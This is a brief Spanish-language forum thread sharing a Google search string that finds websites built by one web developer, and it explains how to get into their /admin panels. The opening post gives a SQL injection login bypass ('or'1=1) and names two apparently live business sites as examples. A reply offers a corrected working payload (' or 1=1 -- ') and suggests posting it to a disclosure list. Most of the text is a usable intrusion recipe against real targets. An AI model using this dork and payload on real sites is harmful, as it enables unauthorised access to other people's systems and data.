vulnerabilidad en páginas "by www.SmartySolution.com.au"

[xliberaciones]

entramos en google

ponemos

"by www.SmartySolution.com.au"


para entrar en panel de control   añadimos esto 

/admin


usuario  y  contraseña

'or'1=1



ejemplo 

http://www.plumbcad.com.au/admin
http://www.g4glass.com.au/admin/

[WHK]

No funciona con 'or'1=1 pero si funciona con ' or 1=1 -- '

Gracias por la info
podrias publicarlo en seclist.org tambien (sección full disclosure).

[Stakewinner00]

interesante....